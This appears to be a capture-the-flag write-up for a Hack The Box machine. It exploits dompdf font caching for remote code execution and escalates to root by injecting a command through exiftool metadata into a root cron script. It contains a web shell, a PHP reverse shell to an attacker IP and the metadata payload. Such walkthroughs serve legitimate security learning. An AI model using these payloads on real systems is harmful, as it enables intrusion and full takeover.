## PORT 80 (HTTP)
The webserver shows a note on the site about some maintenance

Fuzzing for files and directories using `dirsearch`
<img src="https://i.imgur.com/tSYCcYy.png"/>
It didn't find anything from fuzzing, on checking the response headers it has some sites being shown out of which there's `prd.m.rendering-api.interface.htb`
<img src="https://i.imgur.com/J8nK7vT.png"/>
<img src="https://i.imgur.com/dbN5vx3.png"/>
Here I tried fuzzing but again there were no results other than `vendor` so fuzzing there again to see if there's something accessible
<img src="https://i.imgur.com/l7ihRo4.png"/>
<img src="https://i.imgur.com/rvaZyq7.png"/>
This found `/dompdf` but it's giving us 403
<img src="https://i.imgur.com/rET8jEC.png"/>
Since this is an api from what the subdomain tells us, let's try fuzzing on `/api` for POST requests
<img src="https://i.imgur.com/sFroW9J.png"/>
## Foothold
For sending a POST request to `html2pdf` I struggled a lot in finding a proper way to send POST requests and documentaiton didn't really included that, on dompdf's github page I found that it's using `html` parameter for converting html
https://github.com/dompdf/dompdf/wiki/About-Fonts-and-Character-Encoding
<img src="https://i.imgur.com/HQsEXg6.png"/>
With this request we'll be able to convert HTML to PDF

Dompdf is vulnerable to remote code execution through loading css which then loads the font that is cached
https://positive.security/blog/dompdf-rce
We have our css file which is loading the font that is actually a php file executing `phpinfo()` and from the article it explains that dompdf excepts any file extension as long as header belongs to a font file
```css
@font-face {
font-family:'exploitfont';
src:url('http://10.10.14.70:9001/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
```
And we have our font file
https://github.com/positive-security/dompdf-rce/blob/main/exploit/exploit_font.php
<img src="https://i.imgur.com/8yUDDaj.png"/>
We need to load a css with from our machine so sending a request with href
```html
<link rel=stylesheet href='http://10.10.14.70:9001/exploit.css'>"
```
<img src="https://i.imgur.com/gky9UDl.png"/>
<img src="https://i.imgur.com/ymxB8Eg.png"/>
To access the cached php font file we need to visit this url to access our cached font php file
```
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/fontname_fontweight/style_urlmd5hash.php
```
To calculate the hash of the url
`http://10.10.14.70:9001/exploit_font.php`
<img src="https://i.imgur.com/uNYTPqj.png"/>
So the url becomes
```
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_3b08b785afb0c81b1ea0920e80175f2d.php
```
<img src="https://i.imgur.com/D6oIkFw.png"/>
We can now get rce by just adding `<?php system($_GET['cmd']);?>`
<img src="https://i.imgur.com/J84wfyi.png"/>
With php we can get reverse shell
```bash
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_3b08b785afb0c81b1ea0920e80175f2d.php?cmd=php%20-r%20%27$sock=fsockopen(%2210.10.14.70%22,2222);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27
```

## Privilege Escalation (root)
Running `pspy` we see a bash script `/usr/local/sbin/cleancache.sh` being ran as root user
<img src="https://i.imgur.com/cYuEdz2.png"/>
Checking the bash script
```bash
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
rm "$cfile"
fi
fi
done
```
It's running `/tmp` directory where it's checking for files and `exiftool` is looking for `Producer` tag in the files and comaparing it with `-eq` if it's dompdf and if it, it will delete that file
I checked the version of exiftool which was 12.55 and there wasn't any reported vulnerability for this version
<img src="https://i.imgur.com/E5Gps4u.png"/>
The vulnerability here was with in the script on the comparision
```bash
"$meta_producer" -eq "dompdf"
```
```bash
exiftool -Producer='a[$(id)]+dompdf' ./export.pdf
```
<img src="https://i.imgur.com/oXrsHsf.png"/>
<img src="https://i.imgur.com/J1Li94O.png"/>
Now we can't really use spaces here as the Producer meta data is being seperated with `cut` on a space so instead I created a bash script having the reverse shell
```bash
exiftool -Producer='a[$(/dev/shm/uwu.sh)]+dompdf' ./export.pdf
```
<img src="https://i.imgur.com/s1TfBHw.png"/>
After transffering the file, wait for the cronjob to trigger the script
